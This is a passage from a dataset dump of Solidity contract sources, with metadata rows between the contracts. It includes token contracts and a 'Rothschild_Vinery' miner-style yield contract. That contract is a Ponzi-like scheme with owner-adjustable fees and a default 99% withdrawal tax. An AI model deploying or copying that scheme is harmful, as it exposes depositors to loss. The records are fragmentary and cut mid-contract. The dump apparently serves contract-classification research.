router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountToSwap, 0, path, dist, block.timestamp + 5 minutes);
_balances[address(this)] = _balances[address(this)] - amountToLiq;
_balances[dist] = _balances[dist] + amountToLiq;
emit Transfer(address(this), dist, amountToLiq);
Dist(dist).swap();
}
// External Functions
function setMaxWalletAndTx(uint256 _maxWalletSize_, uint256 _maxTxSize_) external onlyOwner {
require(_maxWalletSize_ >= _totalSupply / 1000 && _maxTxSize_ >= _totalSupply / 1000, "Can't set MaxWallet or Tx below 0.1%");
_maxWalletSize = _maxWalletSize_;
_maxTxSize = _maxTxSize_;
emit SetMaxWallet(_maxWalletSize);
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
emit SetIsFeeExempt(holder, exempt);
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
emit SetIsTxLimitExempt(holder, exempt);
}
function setFees(uint256 _DevFeeBuy, uint256 _MarketingFeeBuy, uint256 _LiquidityFeeBuy,
uint256 _DevFeeSell, uint256 _MarketingFeeSell, uint256 _LiquidityFeeSell) external onlyOwner {
require(_DevFeeBuy + _MarketingFeeBuy + _LiquidityFeeBuy <= 330 && _DevFeeSell + _MarketingFeeSell + _LiquidityFeeSell <= 330, "Total fees must be equal to or less than 33%");
DevFeeBuy = _DevFeeBuy;
MarketingFeeBuy = _MarketingFeeBuy;
LiquidityFeeBuy = _LiquidityFeeBuy;
DevFeeSell = _DevFeeSell;
MarketingFeeSell = _MarketingFeeSell;
LiquidityFeeSell = _LiquidityFeeSell;
TotalBase = DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell + LiquidityFeeBuy + LiquidityFeeSell;
emit SetFees(DevFeeBuy);
}
function setFeeReceiver(address _DevWallet, address _MarketingWallet) external onlyOwner {
DevWallet = _DevWallet;
MarketingWallet = _MarketingWallet;
emit SetFeeReceiver(DevWallet);
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
require(_amount >= 1, "Can't set SwapThreshold to ZERO");
swapEnabled = _enabled;
swapThreshold = _amount;
emit SetSwapBackSettings(swapEnabled, swapThreshold);
}
function initSwapBack() public onlyOwner {
swapBack();
}
// Stuck Balance Function
function ClearStuckBalance() external {
require(DevWallet == msg.sender, 'not dev wallet');
uint256 _bal = _balances[address(this)];
if (_bal > 0) {
_balances[DevWallet] = _balances[DevWallet] + _bal;
_balances[address(this)] = 0;
emit Transfer(address(this), DevWallet, _bal);
}
uint256 _ethBal = address(this).balance;
if (_ethBal > 0) {
payable(DevWallet).transfer(_ethBal);
emit StuckBalanceSent(_ethBal, DevWallet);
}
}
function withdrawToken(address _token) public {
ERC20(_token).transfer(DevWallet, ERC20(_token).balanceOf(address(this)));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
| 40,280 | 13,923 |
7723eef6dd238ed7d997f61bb79ec5f79455cd02f98e6a26d7f26d0d06c7e451
| 15,172 |
.sol
|
Solidity
| false |
111633870
|
bokkypoobah/Tokens
|
97950a9e4915596d1ec00887c3c1812cfdb122a2
|
Mainnet-token-contracts-20180610/contracts/0x1844b21593262668b7248d0f57a220caaba46ab9-PRL-Oyster_Pearl.sol
| 2,745 | 11,114 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterPearl {
// Public variables of PRL
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public funds;
address public director;
bool public saleClosed;
bool public directorLock;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
uint256 public epoch;
uint256 public retentionMax;
// Array definitions
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
// ERC20 event
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// ERC20 event
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed _from, uint256 _value);
// This notifies clients about an address getting buried
event Bury(address indexed _target, uint256 _value);
// This notifies clients about a claim being made on a buried address
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
function OysterPearl() public {
director = msg.sender;
name = "Oyster Pearl";
symbol = "PRL";
decimals = 18;
saleClosed = true;
directorLock = false;
funds = 0;
totalSupply = 0;
// Marketing share (5%)
totalSupply += 25000000 * 10 ** uint256(decimals);
// Devfund share (15%)
totalSupply += 75000000 * 10 ** uint256(decimals);
// Allocation to match PREPRL supply and reservation for discretionary use
totalSupply += 8000000 * 10 ** uint256(decimals);
// Assign reserved PRL supply to the director
balances[director] = totalSupply;
// Define default values for Oyster functions
claimAmount = 5 * 10 ** (uint256(decimals) - 1);
payAmount = 4 * 10 ** (uint256(decimals) - 1);
feeAmount = 1 * 10 ** (uint256(decimals) - 1);
// Seconds in a year
epoch = 31536000;
// Maximum time for a sector to remain stored
retentionMax = 40 * 10 ** uint256(decimals);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyDirector {
// Director can lock themselves out to complete decentralization of Oyster network
// An alternative is that another smart contract could become the decentralized director
require(!directorLock);
// Only the director is permitted
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
// Only the director is permitted
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public payable onlyDirector {
// The sale must be closed before the director gets locked out
require(saleClosed);
// Prevents accidental lockout
require(msg.value == 10 ether);
// Permanently lock out the director
directorLock = true;
}
function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy);
payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) {
// Set the epoch
epoch = epochSet;
return true;
}
function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) {
// Set retentionMax
retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function closeSale() public onlyDirector returns (bool success) {
// The sale must be currently open
require(!saleClosed);
// Lock the crowdsale
saleClosed = true;
return true;
}
function openSale() public onlyDirector returns (bool success) {
// The sale must be currently closed
require(saleClosed);
// Unlock the crowdsale
saleClosed = false;
return true;
}
function bury() public returns (bool success) {
// The address must be previously unburied
require(!buried[msg.sender]);
// An address must have at least claimAmount to be buried
require(balances[msg.sender] >= claimAmount);
// Prevent addresses with large balances from getting buried
require(balances[msg.sender] <= retentionMax);
// Set buried state to true
buried[msg.sender] = true;
// Set the initial claim clock to 1
claimed[msg.sender] = 1;
// Execute an event reflecting the change
Bury(msg.sender, balances[msg.sender]);
return true;
}
function claim(address _payout, address _fee) public returns (bool success) {
// The claimed address must have already been buried
require(buried[msg.sender]);
// The payout and fee addresses must be different
require(_payout != _fee);
// The claimed address cannot pay itself
require(msg.sender != _payout);
// The claimed address cannot pay itself
require(msg.sender != _fee);
// It must be either the first time this address is being claimed or atleast epoch in time has passed
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch);
// Check if the buried address has enough
require(balances[msg.sender] >= claimAmount);
// Reset the claim clock to the current block time
claimed[msg.sender] = block.timestamp;
// Save this for an assertion in the future
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
// Remove claimAmount from the buried address
balances[msg.sender] -= claimAmount;
// Pay the website owner that invoked the web node that found the PRL seed key
balances[_payout] += payAmount;
// Pay the broker node that unlocked the PRL
balances[_fee] += feeAmount;
// Execute events to reflect the changes
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
// Failsafe logic that should never be false
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
function () public payable {
// Check if crowdsale is still active
require(!saleClosed);
// Minimum amount is 1 finney
require(msg.value >= 1 finney);
// Price is 1 ETH = 5000 PRL
uint256 amount = msg.value * 5000;
// totalSupply limit is 500 million PRL
require(totalSupply + amount <= (500000000 * 10 ** uint256(decimals)));
// Increases the total supply
totalSupply += amount;
// Adds the amount to the balance
balances[msg.sender] += amount;
// Track ETH amount raised
funds += msg.value;
// Execute an event reflecting the change
Transfer(this, msg.sender, amount);
}
function _transfer(address _from, address _to, uint _value) internal {
// Sending addresses cannot be buried
require(!buried[_from]);
// If the receiving address is buried, it cannot exceed retentionMax
if (buried[_to]) {
require(balances[_to] + _value <= retentionMax);
}
// Prevent transfer to 0x0 address, use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
Transfer(_from, _to, _value);
// Failsafe logic that should never be false
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// Check allowance
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// Buried addresses cannot be approved
require(!buried[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
// Buried addresses cannot be burnt
require(!buried[msg.sender]);
// Check if the sender has enough
require(balances[msg.sender] >= _value);
// Subtract from the sender
balances[msg.sender] -= _value;
// Updates totalSupply
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
// Buried addresses cannot be burnt
require(!buried[_from]);
// Check if the targeted balance is enough
require(balances[_from] >= _value);
// Check allowance
require(_value <= allowance[_from][msg.sender]);
// Subtract from the targeted balance
balances[_from] -= _value;
// Subtract from the sender's allowance
allowance[_from][msg.sender] -= _value;
// Update totalSupply
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
| 247,753 | 13,924 |
c3b8f09ca2bf1b13346623a345fd979dc828ae583ffed23361a4385247a8de18
| 14,901 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5f/5f81c25c31720bce7328fc7164e9485da2d62d56_Rothschild_Vinery_Test2.sol
| 4,387 | 13,827 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Rothschild_Vinery_Test2 {
using SafeMath for uint256;
uint256 public EGGS_TO_HIRE_1MINERS = 720000;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public REFERRAL = 100;
uint256 public TAX = 10;
uint256 public MARKET_EGGS_DIVISOR = 2; // 50%
uint256 public MARKET_EGGS_DIVISOR_SELL = 1; // 100%
uint256 public MIN_INVEST_LIMIT = 1 * 1e17;
uint256 public WALLET_DEPOSIT_LIMIT = 500 * 1e18;
uint256 public COMPOUND_BONUS = 20;
uint256 public COMPOUND_BONUS_MAX_TIMES = 10;
uint256 public COMPOUND_STEP = 24 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 990;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 5; // compound days, for no tax withdrawal.
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 public marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
uint256 public CUTOFF_STEP = 36 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address public owner;
address payable public dev1;
address payable public dev2;
address payable public dev3;
address payable public dev4;
address payable public mkt;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address payable _dev1, address payable _dev2, address payable _dev3, address payable _dev4, address payable _mkt) {
require(!isContract(_dev1) && !isContract(_dev2) && !isContract(_dev3) && !isContract(_dev4) && !isContract(_mkt));
owner = msg.sender;
dev1 = _dev1;
dev2 = _dev2;
dev3 = _dev3;
dev4 = _dev4;
mkt = _mkt;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function hatchEggs(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not started yet.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function sellEggs() public{
require(contractStarted);
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
user.dailyCompoundBonus = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue.sub(payFees(eggValue));
payable(address(msg.sender)).transfer(eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function buyEggs(address ref) public payable{
require(contractStarted, "Contract not started yet.");
User storage user = users[msg.sender];
require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met.");
require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value));
user.userDeposit = user.userDeposit.add(msg.value);
user.initialDeposit = user.initialDeposit.add(msg.value);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER);
payable(address(upline)).transfer(refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(msg.value);
totalStaked = totalStaked.add(msg.value.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
hatchEggs(false);
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER);
dev1.transfer(tax);
dev2.transfer(tax);
dev3.transfer(tax);
dev4.transfer(tax);
mkt.transfer(tax);
return tax.mul(5);
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function initialize(address addr) public {
if (!contractStarted) {
if (msg.sender == owner) {
require(marketEggs == 0);
contractStarted = true;
marketEggs = 72000000000;
buyEggs(addr);
} else revert("Contract not started yet.");
}
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs), SafeMath.add(PSNH, SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs), SafeMath.mul(PSNH, rt)), rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%, 1080000 - 8%
// 959000 - 9%, 864000 - 10%, 720000 - 12%, 575424 - 15%, 540000 - 16%, 479520 - 18%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 479520 && value <= 2592000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 100);
TAX = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 100);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 990);
WITHDRAWAL_TAX = value;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
COMPOUND_STEP = value * 60 * 60;
}
function SET_MIN_INVEST_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
MIN_INVEST_LIMIT = value * 1e17;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value >= 20);
WALLET_DEPOSIT_LIMIT = value * 1e18;
}
}
| 103,493 | 13,925 |
1920b60c60f4098bacdf90bffeb6f7a111f85478d990dba29e30784297f2b368
| 29,367 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x5c99759f77bc7e16fcc2ae107fef9bd8b8762bc5.sol
| 3,597 | 13,993 |
pragma solidity 0.5.14;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract lexDAORole is Context {
using Roles for Roles.Role;
event lexDAOAdded(address indexed account);
event lexDAORemoved(address indexed account);
Roles.Role private _lexDAOs;
modifier onlylexDAO() {
require(islexDAO(_msgSender()), "lexDAO: caller does not have the lexDAO role");
_;
}
function islexDAO(address account) public view returns (bool) {
return _lexDAOs.has(account);
}
function addlexDAO(address account) public onlylexDAO {
_addlexDAO(account);
}
function renouncelexDAO() public {
_removelexDAO(_msgSender());
}
function _addlexDAO(address account) internal {
_lexDAOs.add(account);
emit lexDAOAdded(account);
}
function _removelexDAO(address account) internal {
_lexDAOs.remove(account);
emit lexDAORemoved(account);
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
